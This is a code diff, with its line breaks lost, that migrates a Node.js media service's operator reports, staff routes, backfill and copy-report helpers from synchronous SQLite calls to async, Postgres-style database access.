FROM media_jobs++ const week = (await db.all(`SELECT job_type, COALESCE(error_code, '') AS error_code, COUNT(*) AS n FROM media_jobsWHERE status = 'failed' AND COALESCE(finished_at, updated_at) >= datetime('now', '-7 days')${s.sql}-- GROUP BY job_type, error_code ORDER BY n DESC, job_type`, s.params)++ GROUP BY job_type, error_code ORDER BY n DESC, job_type`, s.params)).map(r => ({ type: r.job_type, error_code: r.error_code || null, count: r.n }));-- const recent = db.all(`SELECT id, app_id, object_id, job_type, error_code, error, attempts, max_attempts, created_by, created_at, finished_at, updated_at-- FROM media_jobs WHERE status = 'failed'${s.sql} ORDER BY COALESCE(finished_at, updated_at) DESC, id DESC LIMIT ?`, [...s.params, limit])++ const recent = (await db.all(`SELECT id, app_id, object_id, job_type, error_code, error, attempts, max_attempts, created_by, created_at, finished_at, updated_at++ FROM media_jobs WHERE status = 'failed'${s.sql} ORDER BY COALESCE(finished_at, updated_at) DESC, id DESC LIMIT ?`, [...s.params, limit])).map(j => ({id: j.id, app_id: j.app_id, object_id: j.object_id || null, type: j.job_type, error_code: j.error_code || null,error: clip(j.error, 500), attempts: j.attempts, max_attempts: j.max_attempts, created_by: j.created_by || null,@@@ -54,32 +54,32 @@ function jobs(appId, limit) {// ── Missing media ────────────────────────────────────────────--function missing(appId, limit) {++async function missing(appId, limit) {const s = scoped(appId, 'o.app_id');-- const q = { get: (sql, p) => db.get(sql, p), all: (sql, p) => db.all(sql, p) };-- const noGood = copyReport.countNoGoodCopy(q, { appId });-- const hasVerifications = tableExists('media_verifications');-- const noGoodList = db.all(`SELECT o.id, o.app_id, o.kind, o.legacy_ref, o.size_bytes${hasVerifications ? ', v.status AS verify_status, v.verified_at' : ''}++ const q = { get: async (sql, p) => await db.get(sql, p), all: async (sql, p) => await db.all(sql, p) };++ const noGood = await copyReport.countNoGoodCopy(q, { appId });++ const hasVerifications = await tableExists('media_verifications');++ const noGoodList = (await db.all(`SELECT o.id, o.app_id, o.kind, o.legacy_ref, o.size_bytes${hasVerifications ? ', v.status AS verify_status, v.verified_at' : ''}FROM media_objects o${hasVerifications ? ' LEFT JOIN media_verifications v ON v.object_id = o.id' : ''}-- WHERE ${copyReport.NO_GOOD_COPY_WHERE}${s.sql} ORDER BY o.app_id, o.id LIMIT ?`, [...s.params, limit])++ WHERE ${copyReport.NO_GOOD_COPY_WHERE}${s.sql} ORDER BY o.app_id, o.id LIMIT ?`, [...s.params, limit])).map(o => ({ id: o.id, app_id: o.app_id, kind: o.kind, legacy_ref: o.legacy_ref || null, size_bytes: o.size_bytes,last_verification: hasVerifications && o.verify_status ? { status: o.verify_status, at: iso(o.verified_at) } : null }));-- const byState = db.all(`SELECT l.provider, l.state, COUNT(*) AS n FROM media_locations l JOIN media_objects o ON o.id = l.object_id-- WHERE o.lifecycle_status != 'deleted'${s.sql} GROUP BY l.provider, l.state ORDER BY l.provider, l.state`, s.params)++ const byState = (await db.all(`SELECT l.provider, l.state, COUNT(*) AS n FROM media_locations l JOIN media_objects o ON o.id = l.object_id++ WHERE o.lifecycle_status != 'deleted'${s.sql} GROUP BY l.provider, l.state ORDER BY l.provider, l.state`, s.params)).map(r => ({ provider: r.provider, state: r.state, count: r.n }));-- const bad = db.all(`SELECT l.object_id, l.provider, l.state, l.verified_at, o.app_id, o.kind, o.legacy_ref, o.lifecycle_status++ const bad = (await db.all(`SELECT l.object_id, l.provider, l.state, l.verified_at, o.app_id, o.kind, o.legacy_ref, o.lifecycle_statusFROM media_locations l JOIN media_objects o ON o.id = l.object_idWHERE l.state IN ('missing', 'corrupt') AND o.lifecycle_status != 'deleted'${s.sql}-- ORDER BY COALESCE(l.verified_at, '') DESC, l.id DESC LIMIT ?`, [...s.params, limit])++ ORDER BY COALESCE(l.verified_at, '') DESC, l.id DESC LIMIT ?`, [...s.params, limit])).map(r => ({ object_id: r.object_id, app_id: r.app_id, kind: r.kind, legacy_ref: r.legacy_ref || null, lifecycle_status: r.lifecycle_status,provider: r.provider, state: r.state, verified_at: iso(r.verified_at) }));const vs = scoped(appId);const quarantined = {};-- for (const r of db.all(`SELECT health_status, COUNT(*) AS n FROM vods WHERE health_status IN ('missing_file', 'zero_byte', 'corrupt', 'needs_review')${vs.sql}++ for (const r of await db.all(`SELECT health_status, COUNT(*) AS n FROM vods WHERE health_status IN ('missing_file', 'zero_byte', 'corrupt', 'needs_review')${vs.sql}GROUP BY health_status`, vs.params)) quarantined[r.health_status] = r.n;const verification = { last_run: null, statuses: {} };-- if (tableExists('media_verify_runs')) {-- const r = db.get('SELECT * FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');++ if (await tableExists('media_verify_runs')) {++ const r = await db.get('SELECT * FROM media_verify_runs WHERE finished_at IS NOT NULL ORDER BY id DESC LIMIT 1');if (r) {verification.last_run = { id: r.id, started_at: iso(r.started_at), finished_at: iso(r.finished_at), objects_checked: r.objects_checked,good: r.good, no_good_copy: r.no_good_copy, unverifiable: r.unverifiable, reuploaded: r.reuploaded, reupload_failed: r.reupload_failed,@@@ -87,7 +87,7 @@ function missing(appId, limit) {}}if (hasVerifications) {-- for (const r of db.all(`SELECT v.status, COUNT(*) AS n FROM media_verifications v JOIN media_objects o ON o.id = v.object_id WHERE 1 = 1${s.sql} GROUP BY v.status`, s.params)) {++ for (const r of await db.all(`SELECT v.status, COUNT(*) AS n FROM media_verifications v JOIN media_objects o ON o.id = v.object_id WHERE 1 = 1${s.sql} GROUP BY v.status`, s.params)) {verification.statuses[r.status] = r.n;}}@@@ -102,16 +102,16 @@ function missing(appId, limit) {// ── Backfill ─────────────────────────────────────────────────--function backfill(appId) {++async function backfill(appId) {const s = scoped(appId);-- const last = require('../objects/backfill').lastReport();++ const last = await require('../objects/backfill').lastReport();const unprojected = {-- vods: db.get(`SELECT COUNT(*) AS n FROM vods WHERE object_id IS NULL AND COALESCE(clips_only, 0) = 0${s.sql}`, s.params).n,-- clips: db.get(`SELECT COUNT(*) AS n FROM clips WHERE object_id IS NULL${s.sql}`, s.params).n,-- files: db.get(`SELECT COUNT(*) AS n FROM files WHERE object_id IS NULL${s.sql}`, s.params).n,-- screenshots: db.get(`SELECT COUNT(*) AS n FROM pastes WHERE object_id IS NULL AND type = 'screenshot' AND COALESCE(screenshot_path, '') != ''${s.sql}`, s.params).n,++ vods: (await db.get(`SELECT COUNT(*) AS n FROM vods WHERE object_id IS NULL AND COALESCE(clips_only, 0) = 0${s.sql}`, s.params)).n,++ clips: (await db.get(`SELECT COUNT(*) AS n FROM clips WHERE object_id IS NULL${s.sql}`, s.params)).n,++ files: (await db.get(`SELECT COUNT(*) AS n FROM files WHERE object_id IS NULL${s.sql}`, s.params)).n,++ screenshots: (await db.get(`SELECT COUNT(*) AS n FROM pastes WHERE object_id IS NULL AND type = 'screenshot' AND COALESCE(screenshot_path, '') != ''${s.sql}`, s.params)).n,};-- const owner = db.all(`SELECT app_id, COUNT(*) AS n FROM media_objects WHERE owner_subject IS NULL AND owner_user_id IS NOT NULL++ const owner = await db.all(`SELECT app_id, COUNT(*) AS n FROM media_objects WHERE owner_subject IS NULL AND owner_user_id IS NOT NULLAND lifecycle_status != 'deleted'${s.sql} GROUP BY app_id ORDER BY n DESC`, s.params);return {objects: last ? {@@@ -122,48 +122,48 @@ function backfill(appId) {} : null,unprojected,owner_subject: { missing: owner.reduce((a, r) => a + r.n, 0), by_app: owner.map(r => ({ app_id: r.app_id, count: r.n })) },-- namespace_reservations_seeded: !!db.get("SELECT 1 AS x FROM media_settings WHERE key = 'namespaces.reservations_seeded'"),++ namespace_reservations_seeded: !!await db.get("SELECT 1 AS x FROM media_settings WHERE key = 'namespaces.reservations_seeded'"),note: 'objects: the last boot or scripted backfill that changed something (media_settings objects.backfill.last_report). unprojected: rows with no object yet. owner_subject: objects the owner-subject job has not resolved.',};}// ── Tiering ──────────────────────────────────────────────────--function tiering(appId, limit) {++async function tiering(appId, limit) {const vodStorage = require('../vod/vod-storage');const s = scoped(appId);-- const providers = (table, bytes) => {++ const providers = async (table, bytes) => {const out = {};-- for (const r of db.all(`SELECT COALESCE(storage_provider, 'local') AS p, COUNT(*) AS n${bytes ? ', COALESCE(SUM(file_size), 0) AS b' : ''}++ for (const r of await db.all(`SELECT COALESCE(storage_provider, 'local') AS p, COUNT(*) AS n${bytes ? ', COALESCE(SUM(file_size), 0)::bigint AS b' : ''}FROM ${table} WHERE 1 = 1${s.sql} GROUP BY p`, s.params)) out[r.p] = bytes ? { count: r.n, bytes: r.b } : { count: r.n };return out;};-- const objects = db.all(`SELECT COALESCE(canonical_provider, 'none') AS p, CASE WHEN legacy_ref IS NULL THEN 'native' ELSE 'projected' END AS origin,-- COUNT(*) AS n, COALESCE(SUM(size_bytes), 0) AS b-- FROM media_objects WHERE lifecycle_status != 'deleted'${s.sql} GROUP BY p, origin ORDER BY origin, p`, s.params)++ const objects = (await db.all(`SELECT COALESCE(canonical_provider, 'none') AS p, CASE WHEN legacy_ref IS NULL THEN 'native' ELSE 'projected' END AS origin,++ COUNT(*) AS n, COALESCE(SUM(size_bytes), 0)::bigint AS b++ FROM media_objects WHERE lifecycle_status != 'deleted'${s.sql} GROUP BY p, origin ORDER BY origin, p`, s.params)).map(r => ({ canonical_provider: r.p, origin: r.origin, count: r.n, bytes: r.b }));const settings = vodStorage.getSettings();-- const pendingOffload = db.get(`SELECT COUNT(*) AS c FROM vods WHERE ${vodStorage.OFFLOADABLE_WHERE}++ const pendingOffload = (await db.get(`SELECT COUNT(*) AS c FROM vods WHERE ${vodStorage.OFFLOADABLE_WHERE}AND created_at <= datetime('now', ?) AND COALESCE(view_count, 0) <= ?AND (last_accessed_at IS NULL OR last_accessed_at <= datetime('now', ?))${s.sql}`,-- [`-${Number(settings.minAgeDays) || 0} days`, Number(settings.maxViewsForCold) || 0, `-${Number(settings.minLastAccessDays) || 0} days`, ...s.params]).c;++ [`-${Number(settings.minAgeDays) || 0} days`, Number(settings.maxViewsForCold) || 0, `-${Number(settings.minLastAccessDays) || 0} days`, ...s.params])).c;const decisions = { promote: { done: 0, already: 0, refused: 0, failed: 0 }, demote: { done: 0, already: 0, refused: 0, failed: 0 } };-- for (const r of db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_tier_decisions-- WHERE decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day')${s.sql} GROUP BY action, outcome`, s.params)) {++ for (const r of await db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_tier_decisions++ WHERE decided_at >= ov_now_iso('-1 day')${s.sql} GROUP BY action, outcome`, s.params)) {if (decisions[r.action]) decisions[r.action][r.outcome] = r.n;}-- const problems = db.all(`SELECT id, decided_at, app_id, vod_id, object_id, action, from_provider, to_provider, outcome, trigger, reason, error-- FROM media_tier_decisions WHERE outcome IN ('refused', 'failed')${s.sql} ORDER BY id DESC LIMIT ?`, [...s.params, Math.min(limit, 20)])++ const problems = (await db.all(`SELECT id, decided_at, app_id, vod_id, object_id, action, from_provider, to_provider, outcome, trigger, reason, error++ FROM media_tier_decisions WHERE outcome IN ('refused', 'failed')${s.sql} ORDER BY id DESC LIMIT ?`, [...s.params, Math.min(limit, 20)])).map(r => ({ ...r, reason: clip(r.reason, 300), error: clip(r.error, 300) }));const sweep = vodStorage.sweepInfo();// Native v2 objects (objects/tiering.js): the activation gate, the policy, R2 copies, what would be promoted// now, and the decisions (dry runs included), from the database like everything here.-- const nativeObjects = require('../objects/tiering').report({ appId, limit: Math.min(limit, 20) });++ const nativeObjects = await require('../objects/tiering').report({ appId, limit: Math.min(limit, 20) });return {providers: { b2: vodStorage.providerConfigured('b2'), r2: vodStorage.providerConfigured('r2') },policy: { enabled: !!settings.enabled, r2_enabled: !!settings.r2Enabled, min_age_days: settings.minAgeDays, max_views_for_cold: settings.maxViewsForCold, min_last_access_days: settings.minLastAccessDays },-- vods: providers('vods', true),-- clips: providers('clips', false),++ vods: await providers('vods', true),++ clips: await providers('clips', false),objects,pending_offload: pendingOffload,decisions_24h: decisions,@@@ -185,38 +185,38 @@ function tiering(appId, limit) {// ── Namespaces ───────────────────────────────────────────────--function namespaceSnapshot(appId) {++async function namespaceSnapshot(appId) {const s = scoped(appId);const apps = new Map();-- return db.all(`SELECT * FROM media_namespaces WHERE 1 = 1${s.sql} ORDER BY app_id, namespace`, s.params).map((row) => {-- if (!apps.has(row.app_id)) apps.set(row.app_id, db.getApp(row.app_id) || { app_id: row.app_id });-- return { app_id: row.app_id, ...namespaces.publicShape(apps.get(row.app_id), row) };-- });++ return (await Promise.all((await db.all(`SELECT * FROM media_namespaces WHERE 1 = 1${s.sql} ORDER BY app_id, namespace`, s.params)).map(async (row) => {++ if (!apps.has(row.app_id)) apps.set(row.app_id, await db.getApp(row.app_id) || { app_id: row.app_id });++ return { app_id: row.app_id, ...await namespaces.publicShape(apps.get(row.app_id), row) };++ })));}/** The whole operator report (see the header). `limit` bounds each list (1-200, default 50). */--function report({ appId = null, limit = 50 } = {}) {++async function report({ appId = null, limit = 50 } = {}) {const n = Math.min(Math.max(parseInt(limit, 10) || 50, 1), 200);return {generated_at: new Date().toISOString(),scope: appId || 'all',-- tenants: db.all('SELECT app_id FROM apps ORDER BY app_id').map(r => r.app_id),-- jobs: jobs(appId, n),-- missing: missing(appId, n),-- backfill: backfill(appId),-- tiering: tiering(appId, n),-- namespaces: namespaceSnapshot(appId),++ tenants: (await db.all('SELECT app_id FROM apps ORDER BY app_id')).map(r => r.app_id),++ jobs: await jobs(appId, n),++ missing: await missing(appId, n),++ backfill: await backfill(appId),++ tiering: await tiering(appId, n),++ namespaces: await namespaceSnapshot(appId),};}/** Refresh the usage snapshot of every namespace (or one tenant's) from the rows: { namespaces, recomputed_at }. */--function recompute({ appId = null } = {}) {++async function recompute({ appId = null } = {}) {let count = 0;if (appId) {-- const app = db.getApp(appId) || { app_id: appId };-- for (const row of namespaces.listForTenant(appId)) { namespaces.reconcile(app, row.namespace); count++; }++ const app = await db.getApp(appId) || { app_id: appId };++ for (const row of await namespaces.listForTenant(appId)) { await namespaces.reconcile(app, row.namespace); count++; }} else {-- count = namespaces.reconcileAll();++ count = await namespaces.reconcileAll();}return { namespaces: count, scope: appId || 'all', recomputed_at: new Date().toISOString() };}@@@ -125,42 +125,42 @@ function createMeRoutes({ auth }) {// Per-actor limits (server/actor-limits.js), counted by the signed-in person once identify() ran:// reads take the defaults.-- api.get('/objects', limits('media.me.objects'), (req, res) => {++ api.get('/objects', limits('media.me.objects'), async (req, res) => {if (!needPerson(req, res)) return;const f = explorer.parseFilters(req.query);if (f.error) return problem(res, 400, 'media.me.invalid', f.error);try {-- res.json(explorer.list(req.person.subject, f.filters));++ res.json(await explorer.list(req.person.subject, f.filters));} catch (err) {console.error('[Me] list error:', err.message);problem(res, 500, 'media.me.list_failed', 'Failed to list your objects');}});-- api.get('/objects/:id', limits('media.me.object'), (req, res) => {++ api.get('/objects/:id', limits('media.me.object'), async (req, res) => {if (!needPerson(req, res)) return;-- const obj = explorer.detail(req.person.subject, req.params.id);++ const obj = await explorer.detail(req.person.subject, req.params.id);if (!obj) return problem(res, 404, 'media.object.not_found', 'No such object of yours');res.json(obj);});-- api.get('/usage', limits('media.me.usage'), (req, res) => {++ api.get('/usage', limits('media.me.usage'), async (req, res) => {if (!needPerson(req, res)) return;try {-- res.json(explorer.usage(req.person.subject));++ res.json(await explorer.usage(req.person.subject));} catch (err) {console.error('[Me] usage error:', err.message);problem(res, 500, 'media.me.usage_failed', 'Failed to count your usage');}});-- api.get('/ops', limits('media.me.ops'), (req, res) => {++ api.get('/ops', limits('media.me.ops'), async (req, res) => {if (!needPerson(req, res)) return;if (!can(req.person, 'staff.site.view')) return problem(res, 403, 'capability.denied', 'staff.site.view not granted');const s = opsScope(req);if (s.error) return problem(res, 400, 'media.me.invalid', s.error);try {-- res.json(require('./ops').report({ appId: s.appId, limit: req.query.limit }));++ res.json(await require('./ops').report({ appId: s.appId, limit: req.query.limit }));} catch (err) {console.error('[Me] ops report error:', err.message);problem(res, 500, 'media.ops.report_failed', 'Failed to build the operator report');@@@ -168,13 +168,13 @@ function createMeRoutes({ auth }) {});// A recompute counts every namespace's rows again: a staff button, pressed a few times at most.-- api.post('/ops/recompute', limits('media.me.ops_recompute', { minute: 6, hour: 60 }), (req, res) => {++ api.post('/ops/recompute', limits('media.me.ops_recompute', { minute: 6, hour: 60 }), async (req, res) => {if (!needPerson(req, res)) return;if (!can(req.person, 'staff.site.configure')) return problem(res, 403, 'capability.denied', 'staff.site.configure not granted');if (!sameOrigin(req)) return problem(res, 403, 'media.request.cross_origin', 'Only this site\'s own pages may ask for this');const s = opsScope(req);if (s.error) return problem(res, 400, 'media.me.invalid', s.error);-- const out = require('./ops').recompute({ appId: s.appId });++ const out = await require('./ops').recompute({ appId: s.appId });console.log(`[Me] Namespace usage recomputed by ${req.person.subject} (${out.scope}): ${out.namespaces} namespace(s)`);res.json(out);});@@@ -203,13 +203,13 @@ function createMeRoutes({ auth }) {return html(res, 200, pages.renderSignIn({ next, heading, reason }));}-- site.get('/', (req, res) => {++ site.get('/', async (req, res) => {if (!req.person) return signedOut(req, res, 'Your media', '/me');const f = explorer.parseFilters(req.query);const filters = f.error ? explorer.parseFilters({}).filters : f.filters;try {html(res, f.error ? 400 : 200, pages.renderExplorer({-- person: req.person, filters, list: explorer.list(req.person.subject, filters), usage: explorer.usage(req.person.subject),++ person: req.person, filters, list: await explorer.list(req.person.subject, filters), usage: await explorer.usage(req.person.subject),canOps: can(req.person, 'staff.site.view'),}));} catch (err) {@@@ -218,29 +218,29 @@ function createMeRoutes({ auth }) {}});-- site.get('/objects/:id', (req, res, next) => {++ site.get('/objects/:id', async (req, res, next) => {if (!req.person) return signedOut(req, res, 'Your media', `/me/objects/${encodeURIComponent(req.params.id)}`);-- const obj = explorer.detail(req.person.subject, req.params.id);++ const obj = await explorer.detail(req.person.subject, req.params.id);if (!obj) return next(); // the site's own not-found, exactly as for an id that does not existhtml(res, 200, pages.renderDetail({ person: req.person, obj }));});-- site.get('/ops', (req, res) => {++ site.get('/ops', async (req, res) => {if (!req.person) return signedOut(req, res, 'Media operations', '/me/ops');if (!can(req.person, 'staff.site.view')) return html(res, 403, pages.renderForbidden({ person: req.person, need: 'staff.site.view' }));const s = opsScope(req);html(res, s.error ? 400 : 200, pages.renderOps({-- person: req.person, report: require('./ops').report({ appId: s.error ? null : s.appId }), canRecompute: can(req.person, 'staff.site.configure'),++ person: req.person, report: await require('./ops').report({ appId: s.error ? null : s.appId }), canRecompute: can(req.person, 'staff.site.configure'),recomputed: /^\d+$/.test(String(req.query.recomputed || '')) ? String(req.query.recomputed) : null,}));});-- site.post('/ops/recompute', (req, res) => {++ site.post('/ops/recompute', async (req, res) => {if (!req.person) return signedOut(req, res, 'Media operations', '/me/ops');if (!can(req.person, 'staff.site.configure')) return html(res, 403, pages.renderForbidden({ person: req.person, need: 'staff.site.configure' }));if (!sameOrigin(req)) return problem(res, 403, 'media.request.cross_origin', 'Only this site\'s own pages may ask for this');const s = opsScope(req);-- const out = require('./ops').recompute({ appId: s.error ? null : s.appId });++ const out = await require('./ops').recompute({ appId: s.error ? null : s.appId });console.log(`[Me] Namespace usage recomputed by ${req.person.subject} (${out.scope}): ${out.namespaces} namespace(s)`);const qs = new URLSearchParams({ ...(s.appId ? { app: s.appId } : {}), recomputed: String(out.namespaces) });res.redirect(303, `/me/ops?${qs}`);@@@ -23,7 +23,7 @@ function emptyCounts() {return { seen: 0, created: 0, updated: 0, skipped: 0 };}--function backfill({ dryRun = false, onlyMissing = false } = {}) {++async function backfill({ dryRun = false, onlyMissing = false } = {}) {const report = {started_at: new Date().toISOString(), dry_run: !!dryRun, only_missing: !!onlyMissing,counts: { vod: emptyCounts(), clip: emptyCounts(), file: emptyCounts(), screenshot: emptyCounts(), avatar: emptyCounts(), thumbnail: emptyCounts() },@@@ -46,39 +46,40 @@ function backfill({ dryRun = false, onlyMissing = false } = {}) {tally('thumbnail', `${table}.thumbnail_url`, id, r.thumbnail);};const d = db.getDb();-- // One savepoint per row: a row that fails leaves nothing half-written behind.-- const each = (table, sql, fn) => {-- const one = d.transaction(fn);-- for (const row of db.all(sql)) {-- try { one(row); } catch (err) { report.errors.push({ table, id: row.id ?? row.key, error: err.message }); }++ // One savepoint per row (a nested transaction): a row that fails leaves nothing half-written behind.++ const each = async (table, sql, fn) => {++ for (const row of await db.all(sql)) {++ try { await d.tx(async () => { await fn(row); }); } catch (err) { report.errors.push({ table, id: row.id ?? row.key, error: err.message }); }}};-- d.exec('BEGIN');++ // One transaction for the run; a dry run rolls it back at the end.++ const DRY = Symbol('dry run');try {++ await d.tx(async () => {// VODs before clips, so clip_of can point at the vod's object.-- each('vods', `SELECT * FROM vods${where} ORDER BY id`, (row) => {-- const r = model.syncVod(row);++ await each('vods', `SELECT * FROM vods${where} ORDER BY id`, async (row) => {++ const r = await model.syncVod(row);tally('vod', 'vods', row.id, r);thumb('vods', row.id, r);});-- each('clips', `SELECT * FROM clips${where} ORDER BY id`, (row) => {-- const r = model.syncClip(row);++ await each('clips', `SELECT * FROM clips${where} ORDER BY id`, async (row) => {++ const r = await model.syncClip(row);tally('clip', 'clips', row.id, r);thumb('clips', row.id, r);});-- each('files', `SELECT * FROM files${where} ORDER BY created_at, key`, (row) => {-- tally('file', 'files', row.key, model.syncFile(row));++ await each('files', `SELECT * FROM files${where} ORDER BY created_at, key`, async (row) => {++ tally('file', 'files', row.key, await model.syncFile(row));});-- each('pastes', `SELECT * FROM pastes${where ? where + ' AND' : ' WHERE'} type = 'screenshot' ORDER BY id`, (row) => {-- const r = model.syncPaste(row);++ await each('pastes', `SELECT * FROM pastes${where ? where + ' AND' : ' WHERE'} type = 'screenshot' ORDER BY id`, async (row) => {++ const r = await model.syncPaste(row);const kind = (r && r.kind) || (String(row.metadata || '').includes('"kind":"avatar"') ? 'avatar' : 'screenshot');tally(kind, 'pastes', row.id, r);});-- if (dryRun) d.exec('ROLLBACK'); else d.exec('COMMIT');++ if (dryRun) throw DRY;++ });} catch (err) {-- try { d.exec('ROLLBACK'); } catch { /* already rolled back */ }-- throw err;++ if (err !== DRY) throw err;}report.finished_at = new Date().toISOString();@@@ -89,14 +90,14 @@ function backfill({ dryRun = false, onlyMissing = false } = {}) {if (!dryRun && (!onlyMissing || report.totals.created || report.totals.updated)) {// Keep the latest report (skipped rows capped) for operators: media_settings.objects.backfill.last_report.const stored = { ...report, skipped: report.skipped.slice(0, 500), skipped_truncated: report.skipped.length > 500 };-- db.run(`INSERT INTO media_settings (key, value, description, type) VALUES (?, ?, 'Last object backfill report', 'json')-- ON CONFLICT(key) DO UPDATE SET value = excluded.value, updated_at = CURRENT_TIMESTAMP`, [SETTING_KEY, JSON.stringify(stored)]);++ await db.run(`INSERT INTO media_settings (key, value, description, type) VALUES (?, ?, 'Last object backfill report', 'json')++ ON CONFLICT(key) DO UPDATE SET value = excluded.value, updated_at = ov_now()`, [SETTING_KEY, JSON.stringify(stored)]);}return report;}--function lastReport() {-- const row = db.get('SELECT value FROM media_settings WHERE key = ?', [SETTING_KEY]);++async function lastReport() {++ const row = await db.get('SELECT value FROM media_settings WHERE key = ?', [SETTING_KEY]);return row ? model.parseJson(row.value, null) : null;}@@@ -15,44 +15,44 @@const NO_GOOD_COPY_WHERE = `o.lifecycle_status = 'ready'AND NOT EXISTS (SELECT 1 FROM media_locations l WHERE l.object_id = o.id AND l.state IN ('present', 'pending'))`;--function countNoGoodCopy(q, { appId = null } = {}) {-- const r = q.get(`SELECT COUNT(*) AS n FROM media_objects o WHERE ${NO_GOOD_COPY_WHERE}${appId ? ' AND o.app_id = ?' : ''}`, appId ? [appId] : []);++async function countNoGoodCopy(q, { appId = null } = {}) {++ const r = await q.get(`SELECT COUNT(*) AS n FROM media_objects o WHERE ${NO_GOOD_COPY_WHERE}${appId ? ' AND o.app_id = ?' : ''}`, appId ? [appId] : []);return Number(r && r.n) || 0;}--function listNoGoodCopy(q, { appId = null } = {}) {-- return q.all(`SELECT o.* FROM media_objects o WHERE ${NO_GOOD_COPY_WHERE}${appId ? ' AND o.app_id = ?' : ''} ORDER BY o.app_id, o.id`, appId ? [appId] : []);++async function listNoGoodCopy(q, { appId = null } = {}) {++ return await q.all(`SELECT o.* FROM media_objects o WHERE ${NO_GOOD_COPY_WHERE}${appId ? ' AND o.app_id = ?' : ''} ORDER BY o.app_id, o.id`, appId ? [appId] : []);}--function tableExists(q, name) {-- return !!q.get("SELECT 1 AS x FROM sqlite_master WHERE type = 'table' AND name = ?", [name]);++async function tableExists(q, name) {++ return !!await q.get("SELECT 1 AS x FROM information_schema.tables WHERE table_schema = current_schema() AND table_name = ?", [name]);}function parseJson(s, dflt) { try { return s ? JSON.parse(s) : dflt; } catch { return dflt; } }/** Rows elsewhere that point at the object: the inherited projections, relationships, variants, holds. */--function references(q, obj) {++async function references(q, obj) {const refs = {-- vods: q.all(`SELECT id, app_id, user_id, stream_id, managed_stream_id, title, visibility, is_public, file_path, file_size,++ vods: await q.all(`SELECT id, app_id, user_id, stream_id, managed_stream_id, title, visibility, is_public, file_path, file_size,storage_provider, storage_key, created_at FROM vods WHERE object_id = ?`, [obj.id]),-- clips: q.all(`SELECT id, app_id, vod_id, stream_id, user_id, channel_user_id, title, visibility, is_public, file_path, status, created_at++ clips: await q.all(`SELECT id, app_id, vod_id, stream_id, user_id, channel_user_id, title, visibility, is_public, file_path, status, created_atFROM clips WHERE object_id = ?`, [obj.id]),-- files: q.all('SELECT key, app_id, user_id, original_name, size, mime, created_at FROM files WHERE object_id = ?', [obj.id]),-- pastes: q.all('SELECT id, slug, app_id, user_id, title, type, visibility, screenshot_path, created_at FROM pastes WHERE object_id = ?', [obj.id]),-- relationships: q.all(`SELECT from_object_id, relation, to_object_id FROM media_relationships++ files: await q.all('SELECT key, app_id, user_id, original_name, size, mime, created_at FROM files WHERE object_id = ?', [obj.id]),++ pastes: await q.all('SELECT id, slug, app_id, user_id, title, type, visibility, screenshot_path, created_at FROM pastes WHERE object_id = ?', [obj.id]),++ relationships: await q.all(`SELECT from_object_id, relation, to_object_id FROM media_relationshipsWHERE from_object_id = ? OR to_object_id = ? ORDER BY id`, [obj.id, obj.id]),-- variants: q.all(`SELECT object_id, variant_name, derived_object_id FROM media_variants++ variants: await q.all(`SELECT object_id, variant_name, derived_object_id FROM media_variantsWHERE object_id = ? OR derived_object_id = ? ORDER BY id`, [obj.id, obj.id]),-- holds: q.all('SELECT id, kind, reason, created_by, created_at FROM media_holds WHERE object_id = ? AND released_at IS NULL ORDER BY id', [obj.id]),++ holds: await q.all('SELECT id, kind, reason, created_by, created_at FROM media_holds WHERE object_id = ? AND released_at IS NULL ORDER BY id', [obj.id]),};return refs;}/** Everything an operator needs to decide what to do with each object that has no good copy. */--function buildReport(q, { appId = null } = {}) {-- const hasVerifications = tableExists(q, 'media_verifications');-- const items = listNoGoodCopy(q, { appId }).map((o) => {-- const last = hasVerifications ? q.get('SELECT verified_at, status, detail FROM media_verifications WHERE object_id = ?', [o.id]) : null;++async function buildReport(q, { appId = null } = {}) {++ const hasVerifications = await tableExists(q, 'media_verifications');++ const items = (await Promise.all((await listNoGoodCopy(q, { appId })).map(async (o) => {++ const last = hasVerifications ? await q.get('SELECT verified_at, status, detail FROM media_verifications WHERE object_id = ?', [o.id]) : null;const md = parseJson(o.metadata, {});return {object_id: o.id,@@@ -66,11 +66,11 @@ function buildReport(q, { appId = null } = {}) {owner: { app: o.owner_app || o.app_id, user_id: o.owner_user_id ?? null, subject: o.owner_subject || null },legacy_ref: o.legacy_ref || null,canonical: { provider: o.canonical_provider || null, key: o.canonical_key || null },-- locations: q.all('SELECT provider, bucket, key, state, size_bytes, verified_at FROM media_locations WHERE object_id = ? ORDER BY id', [o.id]),-- references: references(q, o),++ locations: await q.all('SELECT provider, bucket, key, state, size_bytes, verified_at FROM media_locations WHERE object_id = ? ORDER BY id', [o.id]),++ references: await references(q, o),last_verification: last ? { verified_at: last.verified_at, status: last.status, detail: parseJson(last.detail, {}) } : null,};-- });++ })));return { generated_at: new Date().toISOString(), app_id: appId, count: items.length, objects: items };}@@@ -41,7 +41,7 @@ function expectedFields(p) {const same = (a, b) => (a == null ? '' : String(a)) === (b == null ? '' : String(b));/** Every row of `table` (optionally one tenant's) in key order, a page at a time. */--function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {++async function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {const conds = [];const params = [];if (appId) { conds.push('app_id = ?'); params.push(appId); }@@@ -49,7 +49,7 @@ function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {let last = null;for (;;) {const c = last == null ? conds : [...conds, `${keyCol} > ?`];-- const page = q.all(`SELECT * FROM ${table}${c.length ? ` WHERE ${c.join(' AND ')}` : ''} ORDER BY ${keyCol} LIMIT ${PAGE}`,++ const page = await q.all(`SELECT * FROM ${table}${c.length ? ` WHERE ${c.join(' AND ')}` : ''} ORDER BY ${keyCol} LIMIT ${PAGE}`,last == null ? params : [...params, last]);for (const r of page) yield r;if (page.length < PAGE) return;@@@ -57,7 +57,7 @@ function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {}}--function buildReport(q, { appId = null, limit = 20 } = {}) {++async function buildReport(q, { appId = null, limit = 20 } = {}) {const report = {generated_at: new Date().toISOString(),app_id: appId,@@@ -69,15 +69,15 @@ function buildReport(q, { appId = null, limit = 20 } = {}) {total_drift: 0,};// Objects by legacy ref, loaded once (the compared columns only); a row's object_id is looked up when its ref finds none.-- const byRef = new Map(q.all(`SELECT ${OBJECT_COLS} FROM media_objects WHERE legacy_ref IS NOT NULL`).map(o => [o.legacy_ref, o]));-- 